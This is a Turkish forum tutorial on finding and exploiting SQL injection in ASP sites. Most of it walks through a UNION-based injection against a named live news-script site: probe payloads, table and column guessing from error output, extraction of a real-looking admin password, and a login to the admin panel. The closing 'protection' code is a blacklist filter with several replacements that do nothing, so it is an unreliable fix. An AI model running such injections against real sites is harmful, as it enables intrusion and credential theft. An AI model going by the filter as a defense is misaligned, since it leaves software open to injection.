sql açıgı bulma ve güvenligi
BASiT SQL ATTACKLAR
-----------------------------
SQL Aslinda her nekadar da Attack türü Olsada bunun Programlama Dili Oldugunu unutmamamiz Lazim...
SQL Hakkinda internet üzerinde istemediginiz kadar bilgi mevcuttur.Okuyup Kendinizi gelistirebilirsiniz.
Evet Simdi SQL Attacklarin nasil oldugunu Sizlere Daha iyi Göstermek icin Biraz Programlama Bilgimizi konusturarak kod yazalim Bu arada bu alanda gercekten iyi olmak istiyorsaniz Programlama bilmeniz sart !
Evet ilk önce Sundan bahsedeyim Sizlere SQL injection Ataklari Asp , Php , Cgi Ã�zerinde Olabilir illa Asp de olcak diye bir kaide yok.Yalniz Ben Asp Programci oldugum icin Sizlere Asp konusunu anlaticam.
SQL Attack icin en uygun ve ücra köseler
ExplorerDe Bulunan ID degerleri ;
Arama Bölmümü ;
Login Paneli
vs vs...
evet HEDEF SITE ( Ben Acik Buldum Burda Ama Demo Site olarak Kullanin Siz )
Acigin Bulundugu Script : Yener Haber Script v2.0
Daha Detayli bilgi icin :
http://www.securityfocus.com/archive/1/447653
Evet Simdi Konumuza Gecelim Ilk önce herkes Bir Explorer Sayfasi Acsin...Ve Adres Kismina
http://www50.brinkster.com/yenerturk yazsin... ( Yener Haber Scriptinin Resmi Sitesidir )
Adamlar gerci V1.0 Cikardi Ama ben Hem v1 de hemde v2.0 da yakaladim ayni acigi
Simdi Hepimizin karsisinda ne kadar da Sakin ve masum duran bir site var. Ve Hersey bir o kadar yolunda...Simdi Ana Sayfada Sergilenen haberlerden herhangi birine Tiklayin ...Mesela Ben Hacker Saldirisi Hakkinda Linkine tikladim ve karsima söyle bir link geldi....( Benden bahsediyorlar )
http://www50.brinkster.com/yenerturk...egori=11&id=11
Evet biraz Linkle oynayacagiz... id=11 degerine hata verdirelim...
SQL Hatalari verdirmek icin
Kod:
'
'or'
-1
1=1
'or"1=1'
heavy 1=1
Gibi Cümleler Kurarak hata verdirebiliriz...Sahsen ben en cok -1 Yöntemini kullanirim...
Evet Linki Degistiriyoruz...
http://www50.brinkster.com/yenerturk...egori=11&id=-1 Sadece id degerini -1 yaptik ve enterladik...
Bingo...
*
ADODB.Field error '80020009'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record. /yenerturk/default.asp, line 0
Hata verdi...EOF ve BOF ile hatamizi Aldik Demekki Site SQL yiyiyor. Devam Edelim .
Simdi SQL Cümlecikleri Kurarak Tablonun yolunu bilmeden Tablodan veri cekelim...
Kod:
UNION = Cümleleri birlikte Kullanmak icin SQL de kullanilan cümlecik
SELECT = SQL de Secmek
FROM = tablonun yolu
WHERE = Nerede
Kullanimi :
UNION SELECT kolon FROM tablo
Simdilik Bunlari Kullancagiz...
Evet Devam ediyoruz kisa bilgimizden Sonra...Linki Su Sekilde yaptik En son....
http://www50.brinkster.com/yenerturk...egori=11&id=-1
Simdi Cümlemizi Kuralim... Türkce Gibi düsünün ve yapiyi olusturun
Türkce de birsey istediginizde ne dersiniz ?
bana sunu getir gibi...Degilmi ? iste SQL de de aynisini yapiyoruz Bu sefer sunu yerine Admin sifrsini istiyoruz
http://www50.brinkster.com/yenerturk...=-1UNIONSELECT 0,1,2FROM uye
Yaziyoruz...Simdi Biz Burda Ne demis Olduk...
Database de ID Degeri -1 olan veri den bize uyeler tablosunda 0,1,2 Nolu Kolonlari göster dedik.... Ve karsimiza Söyle bir hata mesaji cikmasi lazim
Microsoft OLE DB Provider for ODBC Drivers error '80040e37'
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'uye'. Make sure it exists and that its name is spelled correctly. /yenerturk/default.asp, line 349
Yani = The Microsoft Jet database engine cannot find the input table or query 'uye'.
Türkcesi = YOk Kardesim üye adinda bi tablo tutturamadin =)
Hemen tablo Adi deniyoruz tutana kadar...
uye yerine bu sefer admin yazalim.
http://www50.brinkster.com/yenerturk...=-1UNIONSELECT 0,1,2 FROM admin
Yazalim Bakalim ne Olcak.
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of aunion query do not match. /yenerturk/default.asp, line 349
Yani = The number of columns in the two selected tables or queries of aunion query do not match.
Türkcesi = Tablo adini Tutturdun... Simdi Kolon Sayisi ve isimlerini bul Demek oluyor...
Evet Biz Kolon Sayisini ne yapmisiz ? 0,1,2 Yane 3 adet kolon yazmisiz... Demekki Databasedeki Admin tablosu 3 den fazla kolon sayisi barindiriyor...
Evet Kolon Sayisinizi Cogaltarak gidiyoruz
0,1,2,3,4,5,6,7 'e kadar olan Kolon Sayisinda bize hep "The number of columns in the two selected tables or queries of aunion query do not match " hatasini verdiriyor yane Daha da yüksek bir kolon sayisi var .
En Son 9 Adet Kolon Oldugunu Buluyoruz...Linkimiz Su Sekle girmis oluyor...
http://www50.brinkster.com/yenerturk...=-1UNIONSELECT 0,1,2,3,4,5,6,7,8 FROM admin
Ve Entera bastiktan sonra artik bize Tablo acilmis oluyor ve üzerinde
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Microsoft Access Driver] Cannot update. Database or object is read-only. /yenerturk/default.asp, line 383
Yani Güncelleme yapamiyorum Demis oluyor... Tamam yapma baba ben zaten senden bilgi alcam güncellemicem.:=)
Sayi olarak verdigimiz Kolon Sayisini bu sefer isimlerini buluyoruz...Hersey olabilir ama En mantiklilarini kullanalim biz...Mesela Siz bir programci olsaniz en bas kolon ne olur ? ID degeri
o zaman
http://www50.brinkster.com/yenerturk...=-1UNIONSELECT id,1,2,3,4,5,6,7,8 FROM admin
yaziyoruz Bakiyoruz Evet ID Degeriymis...Tablo Daha da Güncelleme hatasi veriyor...
2.ci Tablo adini bulalim. Sizce ne olabilir ? Kullanici adidir büyük ihtimal cünkü databaselerde genel de programcilar id user pass ikilemini kullanirlar
Bizde kullanalim o zaman
http://www50.brinkster.com/yenerturk...=-1UNIONSELECT id,kullanici_adi,2,3,4,5,6,7,8 FROM admin
Yazip enterliyoruz...Karsmizdaki tabloda en üst kisimda Admin yazdigini görüyorz.Demekki ilk ID onun
Evet Adini bulduk sira sifresinde
Simdi 3.cü Kolonu bulalim
http://www50.brinkster.com/yenerturk...=-1UNIONSELECT id,kullanici_adi,sifre,3,4,5,6,7,8 FROM admin
yazip enterliyoruz ve tabloda bakiyoruz Sag tarafta Sifre beliriyor
Ve verilerimizi birlestirelim bakalim...
Kullanici Adi : admin
sifre : 69366936
yazdigini görüyoruz...Ve attagimiz basari ile sonuclaniyor... Admin panelinin yolunuz bulup buldugumuz kullanici adi ve sifre ile giriyoruz.
Gördügünüz Gibi...
Asp SQL Injectionlari yakalamak basit...tabi bu programcidan programciya degisir....
Evet Simdi Nasil korunuruz derseniz...Bulunmasi kadar Kolay da kapatabiliriz...
Atiyorum Bir haber scriptimiz var ( Yener haber gibi )
Burda Kodlarimizi incelersek Gelen veriyin SQL komutlarini ve XSS Kodlarini calistiracagini biliyoruz cünkü Replace edilmemisler...
Replace : Asp'de veriyi süzme ve zararli kodlari cikarma islemidir.
Mesela söyle bir link olsun...
www.site.com/index.asp?id=1
Normalde Bu sayfa nasil cagrilir asp de.
ID=Request.QueryString("id")
Seklindedir. Yani diyo ki ID degerini DB Den cagrilan Degere esitle...
Simdi Burda bakiyoruz Ki herhangi bir süzme islemi yok bunu gördügümüz kod'a firekt SQL veya XSS yapabiliriz...Mantik bu..!
Simdi Onu engelleyelim...
Mesela Biz Hangi kodlari kullaniyoruz ?
Kod:
-1 , ' ,UNION, SELECT, FROM, UPDATE
vs vsvs...
Bunlari Replace ile süzmemiz lazim...
Asagidaki Kodlari Sayfanizin en üstüne yazin....
Kod:
<%
Private Function imhabirligi(RMx)
RMx = Replace(RMx, " ", "")
RMx = Replace(RMx, "../", "")
RMx = Replace(RMx, "<", "<")
RMx = Replace(RMx, ">", ">")
RMx = Replace(RMx, "(", "")
RMx = Replace(RMx, ")", "")
RMx = Replace(RMx, """", "", 1, -1, 1)
RMx = Replace(RMx, "=", "=", 1, -1, 1)
RMx = Replace(RMx, ";", "", 1, -1, 1)
RMx = Replace(RMx, "?", "?", 1, -1, 1)
RMx = Replace(RMx, ",", "", 1, -1, 1)
RMx = Replace(RMx, "select", "select", 1, -1, 1)
RMx = Replace(RMx, "union", "union", 1, -1, 1)
RMx = Replace(RMx, "?","",1,-1,1)
RMx = Replace(RMx, "Chr(34)","",1,-1,1)
RMx = Replace(RMx, "Chr(39)","",1,-1,1)
imhabirligi = RMx
End Function
%>
Yazdiktan Sonra Simdi Az önce XSS ve SQL acigina neden Olan ID Degerini Güvenlik altina alalim...
En üste Bu kodlari yazdiktan sonra
ID=Request.QueryString("id")
Degerini
ID=imhabirligi(Request.QueryString("id"))
ile Degistiriyoruz... Ve XSS veya SQL denemesi yapin... Yemeyecektir...
Evet arkadaslar.... Bu dökümani okuyan ( Ama anlayarak okuyan arkadaslarimi mutlaka Asp Script üzerindeki SQL ve XSS Aciklarini tespit edebilir...Kullanabilir ve o acigi Patchleyebilir...